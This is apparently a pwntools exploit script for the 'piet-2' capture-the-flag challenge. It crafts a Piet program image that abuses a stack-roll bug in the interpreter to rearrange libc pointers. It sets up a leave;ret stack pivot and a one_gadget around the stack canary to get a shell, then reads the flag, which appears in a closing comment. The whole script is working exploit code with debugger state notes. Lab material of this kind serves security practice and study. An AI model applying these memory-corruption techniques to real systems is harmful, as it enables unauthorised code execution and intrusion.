#!/usr/bin/env python
from elftools.elf.structs import k
from pwn import *
import png

HOST = "piet-2.instances.ctf.l3ak.team"
PORT = 1337
context.aslr = False

exe = context.binary = ELF("./piet_patched", checksec=False)
libc = ELF('./libc.so.6', checksec=False)
# ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
context.terminal = ["kitten", "@", "launch", "--location=before", "--cwd=current", "--bias=65"]
context.log_level = "info"
context.encoding = "ascii"


def start(argv=[], *a, **kw):
    if args.ASLR:
        context.aslr = True

    if args.GDB or args.DBG:
        return gdb.debug([exe.path], gdbinit, env={}, *a, **kw)
    elif args.REMOTE:
        return remote(os.environ.get("HOST", HOST), int(os.environ.get("PORT", PORT)), ssl=True)
    elif args.DOCKER:
        return remote("localhost", 1337)
    return process([exe.path], *a, **kw)


# template end

# maps operation to hue_step, light_step pair
def op_nop() -> tuple[int, int]:
    # never use this, since it doesn't work
    raise AssertionError
    return (0, 0)

def op_push(val: int) -> tuple[int, int]:
    # little hack we will use to make the code easier
    assert val <= COLS - 1
    return (0, (val << 24) | 1)

def op_pop() -> tuple[int, int]:
    return (0, 2)

def op_add() -> tuple[int, int]:
    return (1, 0)

def op_sub() -> tuple[int, int]:
    return (1, 1)

def op_mul() -> tuple[int, int]:
    return (1, 2)

def op_div() -> tuple[int, int]:
    return (2, 0)

def op_mod() -> tuple[int, int]:
    return (2, 1)

def op_not() -> tuple[int, int]:
    return (2, 2)

def op_gt() -> tuple[int, int]:
    return (3, 0)

def op_ptr() -> tuple[int, int]:
    return (3, 1)

def op_switch() -> tuple[int, int]:
    return (3, 2)

def op_dup() -> tuple[int, int]:
    return (4, 0)

def op_roll() -> tuple[int, int]:
    return (4, 1)

def op_up() -> tuple[int, int]:
    raise AssertionError("no up")
    return (4, 2)

def op_in_c() -> tuple[int, int]:
    raise AssertionError("no in c")
    return (5, 0)

def op_nuh_uh() -> tuple[int, int]:
    return (5, 1)

def op_down() -> tuple[int, int]:
    raise AssertionError("no down")
    return (5, 2)
# maps operation to hue_step, light_step pair

def hue_to_hex(hue: tuple[int, int]) -> int:
    COLORS: dict[tuple[int, int], int] = {
    # maps (hue, lightness) to color
        (0, 0): 0xC00000,
        (1, 0): 0xC0C000,
        (2, 0): 0x00C000,
        (3, 0): 0x00C0C0,
        (4, 0): 0x0000C0,
        (5, 0): 0xC000C0,
        (0, 1): 0xFF0000,
        (1, 1): 0xFFFF00,
        (2, 1): 0x00FF00,
        (3, 1): 0x00FFFF,
        (4, 1): 0x0000FF,
        (5, 1): 0xFF00FF,
        (0, 2): 0xFFC0C0,
        (1, 2): 0xFFFFC0,
        (2, 2): 0xC0FFC0,
        (3, 2): 0xC0FFFF,
        (4, 2): 0xC0C0FF,
        (5, 2): 0xFFC0FF
    }
    x,y = hue
    # for op_push()
    return COLORS[(x, y & 0xff)]
    

def hex_to_rgb(hexv: int) -> tuple[int, int, int]:
    return ((hexv >> 16) & 0xff, (hexv >> 8) & 0xff, hexv & 0xff)

def assemble(assembly: list[tuple[int, int]]) -> list[tuple[int, int, int, int]]:
    """
    Returns a list[r, g, b, how_much] which needs to be layed out.
    """
    # fix the first color as (0, 1) arbitrarily
    hl_output = [(0, 1)]

    # assert assembly[0][0] == 0 and assembly[0][1] & 0xff == 1 and assembly[0][1] >> 24 == 1, "first op must be push(1)" 

    if assembly[-1][0] == 0 and assembly[-1][1] & 0xff == 1:
        raise AssertionError("you're not allowed to set the last instr as push")
    
    for instr in assembly:
        # step = new - old
        # => new = step + old
        hl_new_h = hl_output[-1][0] + (instr[0] & 0xff)
        hl_new_l = hl_output[-1][1] + (instr[1] & 0xff)
        hl_new_h %= 6
        hl_new_l %= 3
        hl_output.append((hl_new_h, hl_new_l))
        assert hl_output[-1] != hl_output[-2]

    hex_out = [hue_to_hex(x) for x in hl_output]
    rgb_out = [hex_to_rgb(x) for x in hex_out]

    # first can't be push, size not looked at
    final = [rgb_out[0] + (-1,)]

    for i in range(len(assembly)):
        instr_h, instr_l = assembly[i]
        # check if push (0, 1)
        if instr_h & 0xff == 0 and instr_l & 0xff == 1:
            value = instr_l >> 24            
        else:
            value = 1

        # push on instr of some row means the prev row needs to be big
        final.append(rgb_out[i] + (value,))

    # value ignored
    final.append(rgb_out[-1] + (1,))

    return final

# NOTE: only op_push() needs a size (landfill blabla)
BLACK_RGB = (0, 0, 0)
WHITE_RGB = (255, 255, 255)

def layout(linear: list[tuple[int, int, int, int]]) -> list[list[tuple[int, int, int]]]:
    # filled with black first
    matrix: list[list[tuple[int, int, int]]] = [[BLACK_RGB for _ in range(COLS)] for _ in range(ROWS)]

    assert len(linear) <= ROWS - 1
    
    # entrance
    matrix[0][0] = linear[0][0:3]
    matrix[0][1] = linear[0][0:3]
    matrix[1][1] = linear[0][0:3]

    for i in range(len(linear) - 1):
        # for op_push()
        for j in range(linear[i][3]):
            # print(f"setting {i + 1}, {j + 1} to something")
            matrix[i + 1][j + 1] = linear[i][0:3]

    # exit
    last = len(linear) - 1
    matrix[last + 1][0] = linear[last][0:3]
    matrix[last + 1][1] = linear[last][0:3]
    matrix[last + 1][2] = linear[last][0:3]

    return matrix

def save_png(rows_1: list[list[tuple[int, int, int]]]) -> None:
    rows_2 = []
    for row in rows_1:
        new_row = []
        for el in row:
            new_row.append(el[0])
            new_row.append(el[1])
            new_row.append(el[2])
        rows_2.append(new_row)

    image = png.from_array(rows_2, "RGB")
    image.save("attack.png")

def submit() -> None:
    with open("attack.png", "rb") as f:
        png_data = f.read()

    p.send(png_data)

def dump_linear(linear: list[tuple[int, int, int, int]]) -> None:
    print("=== linear ===")
    for x in linear:
        print(x)
    print("=== ====== ===")


def sf_m(matrix, x, y, val):
    assert matrix[x][y] == BLACK_RGB
    matrix[x][y] = val

def layout_wstart(start_row: int, start_col: int, linear2, matrix: list[list[tuple[int, int, int]]]) -> None:
    sf_m(matrix, start_row, start_col, linear2[0])

    assert len(linear2) <= ROWS - start_row

    for i in range(1, len(linear2)):
        # for op_push()
        for j in range(linear2[i][3]):
            # print(f"setting {i + 1}, {j + 1} to something")
            sf_m(matrix, i + start_row, j + start_col, linear2[i][0:3])

    # matrix is modified inplace, nothing to ret

def make_number(num: int) -> list[tuple[int, int]]:
    """
    Makes ops for a number by making it in base10.
    """
    # make zero under us
    res = [op_push(1), op_not()]

    digits = [(ord(dig) - ord('0')) for dig in str(num)]

    for dig in digits:
        res.extend([op_push(10), op_mul()])
        if dig != 0:
            res.extend([op_push(dig), op_add()])

    return res

gdbinit = """
# b next_codel 
# instructions:
# b 358
# halt:
b 443
tbreak main
continue
""".format(**locals())

ROWS = 265
COLS = 147 + ROWS

# in piet2 we lose:
# up, down, in_c
# and now we have a stack bound check

p = start()

# onegadget at 0x11d7b7, dist from write to one_gadget -0xb6b7
# we will make 0xb6b7
# then do sub 0 - 0xb6b7
# then add that to write()

linear1 = assemble(
    # first instruction can't be a push
    [ op_push(1) ] * 5
        # put me above a libc via stack_depth swap
        + make_number(0xf0)
        + [
        # 12, much smaller than make_number()
        op_push(6),
        op_push(2),
        op_mul(),
        op_push(1),
        op_roll(), # first roll (bug)
    ]
)
"""
# State after this op_roll()
pwndbg> p *s
$1 = {
  stack = 0x7ffef8918b00,
  stack_depth = 0xf0,
  CC = 6,
  DP = RIGHT,
  row = 0x2,
  col = 0x18
}
"""
dump_linear(linear1)

image_rgb = layout(linear1)

linear2 = assemble(
    [
        op_push(1), # this becomes push(2), dw
        op_dup(),
        ] +
        # now we create the offset 0xb6b7
        make_number(0xb6b7) +
        # now put it next to the lowers 32 bits of the write
        make_number(36) +
        [
        op_push(1),
        op_roll(), # second roll
    ] +
    # now we need to subtract the upper and lower bits. bring it up so we can
    # do that. (we could op_pop() downwards instead, but it takes quite a few instrs)
    make_number(37) +
    make_number(35) +
    [
        op_roll(), # third roll
    # do the subtraction to set the correct lower 32 bits
        op_sub()
    ] +
    # bring it back down so we have space to work with
    make_number(36) + [
        op_push(1),
       op_roll()  # fourth roll
    ] +
    # through divine intervention, the upper bits get set to a libc address
    # and we don't need to do it manually. (would just need to rotate around a bit)
    # ===
    # now we need to turn another libc pointer into a leave;ret; gadget
    # so we can pivot the stack and have more room to get code exec once we get RIP
    # we're targetting this
    # 73:0398│-0b8 0x7ffed36930e8 —▸ 0x7ff83a09b3e5 (_IO_file_write@@GLIBC_2.2.5+53)
    # pwndbg> p &state->stack[0xd6]
    # $14 = (int32_t *) 0x7ffed36930e8
    # 0x001bf906: leave; ret;
    # offset from pointer to gadget is 0x124521
    # currently at stack_depth = 0xf2,
    make_number(0x124521) +
    # d = 28
    # n = 1
    make_number(28) + [
        op_push(1),
        op_roll(), # fifth roll (to move the offset next to the lower 32 bits of the libcptr)
    ] +
    # roll the ptr up to me so I can add the values together
    make_number(29) + 
    make_number(27) + 
    [
        op_roll(), # sixth roll
        op_add(), # now the lower 32 bits are correct
    ] + 
    # bring it back down so we have some breathing room
    make_number(28) +
    [
        op_push(1),
        op_roll(), # seventh roll
    ] + 
    # again, we have the top bits correct even though i didn't really plan for it
    # trigger roll bug so we reset our .row and have more breathing room
    # make the ptrs 0x10 aligned for easier debugging
    # val = 0xf0
    # d = 0xf9
    # n = 1
    make_number(0xf0) +
    make_number(0xf9) +
    [
        op_push(1),
        op_roll(), # 8th roll (bug)
    ]
)

layout_wstart(2, 0x18, linear2, image_rgb)

"""
State after stack_depth ow
pwndbg> p *state
$1 = {
  stack = 0x7ffd049e2ec0,
  stack_depth = 0xf0,
  CC = 243,
  DP = RIGHT,
  row = 0x2,
  col = 0xb1
}
"""

linear3 = assemble(
    [
        # bookkeeping
        op_push(1), # this is 2
        op_pop(),
        # now we have all the pointers on the VM stack that we care about, just need
        # to align them properly. at the final moment it should be
# 0x7ffd049e3130 {stack+0x270}: rbp-will-be-popped-here-doesn't-matter
# 0x7ffd049e3130 {stack+0x278}: onegadget
# ...
# 0x7ffd049e32c8 {stack+0x408}: canary
# 0x7ffd049e32c8 {stack+0x410}: 0x7ffd049e3130 {stack+0x270}
# 0x7ffd049e32c8 {stack+0x418}: leave; ret;
    # big roll for easier debugging
    ] + make_number(0xe0) + [
        op_push(1), op_roll() # 9th roll
    ] +
    # lets first bring leave;ret below the stackptr
    # 0x7fffffffead8 {stack+0x248} —▸ 0x7fffffffeb00 {stack+0x270}
    # ...
    # 0x7fffffffebe8 {stack+0x358} —▸ 0x7ffff7dbf906 (__netf2+630) ◂— leave 
    # d = 0x5a
    # n = 24
    make_number(0x5a) + make_number(24) + [
        op_roll() # 10th roll
    ] + 
    # now those two are above the canary, need to swap place
    make_number(0x5c) + make_number(30) + [
        op_roll() # 11th roll
    ] + 
    # now bring those two up to the canary
    make_number(84) + make_number(62) + [
        op_roll() # 12th roll
    ]
# now we have
# 55:02a8│-1a8 0x7fffffffeaf8 {stack+0x268} ◂— 0x478e2e2bcc696400
# 56:02b0│ rdx 0x7fffffffeb00 {stack+0x270} ◂— 0x7fffffffeb00 {stack+0x268}
# 57:02b8│-198 0x7fffffffeb08 {stack+0x278} —▸ 0x7ffff7dbf906 (__netf2+630) ◂— leave 
# ...
# 7c:03e0│-070 0x7fffffffec30 {stack+0x3a0} —▸ 0x7ffff7d1d7b2 (exec_comm+658)
# the canary needs to be at 0x7fffffffec98 while the OG at 0x7fffffffeb08
# so they need to be offset by 0x190 i.e. distance 100
# lets roll around to put the canary at [1] and OG at [101]
# move OG above the canary
    + make_number(0xf0 - 2) + make_number(16) + [
        op_roll() # 13th roll
    ]
# move canary to correct offset to OG
    + make_number(130) + make_number(70) + [
        op_roll() # 14th roll
    ]
# now need to zero out for one_gadget
# 0x7fffffffe900 {stack+0x70} [rsp+0x40] where rsp is 0x8 + OG
# the thing at +0x80 is already zero
# rotate it to me with everything together
    + make_number(0xf0 - 2) + make_number(208) + [
        op_roll() # 15th roll
    ]
# zero out
    + [
        # align
        op_pop(),
        op_pop(),
        op_pop(),

        # zero
        op_dup(),
        op_mod(),
        op_dup(),

        # back to 0xf0
        op_push(1),
        op_push(1),
    ]
# rotate everything back in place
    + make_number(0xf0 - 2) + make_number(0xf0 - 2 - 208) + [
        op_roll() # 16th roll
    ]
# trigger bug to go onto (x, y)
    + make_number(0x10a) # new stack depth
    + make_number(0xf8) # d
    + [
        op_push(1), # n
        op_roll() # 17th roll (buggy)
    ]
)

layout_wstart(2, 0xb1, linear3, image_rgb)

"""
New state
$6 = {
  stack = 0x7fffffffe890,
  stack_depth = 0x10a,
  CC = 242,
  DP = RIGHT,
  row = 0x2,
  col = 0xd6
}
"""

linear4 = assemble(
    # now the next roll will take x,y (i.e. image height, width)
    [
        op_roll()  # 18th roll (final)
])

layout_wstart(2, 0xd6, linear4, image_rgb)

"""
pwndbg> p state
$3 = {
  stack = 0x7fffffffe890,
  stack_depth = 0x108,
  CC = LEFT,
  DP = DOWN,
  row = 0x4,
  col = 0xd6
}
"""

# 4, 120
image_rgb[4][0xd6 - 1] = image_rgb[4][0xd6]
image_rgb[4][0xd6 + 1] = image_rgb[4][0xd6]

# make an exit 


# ==== done =====

save_png(image_rgb)
submit()
p.sendline(b"cat ./flag.txt")

p.interactive()
p.close()
# L3AK{iVBORw0KGgoAAAANSUhEUgAAAAcAAAAHCAIAAABLMMCEAAAAS0lEQVR4nDWOyRHAMAgD1xn3RUqXKlMG43xAgA5QJEVJd2XQAxSAqQYu28VQgVsPfQ81in0PmJWD1np7hkQeyS/s0Gt1sjt3tvPFB4YbUaQJ6Uf/AAAAAElFTkSuQmCC}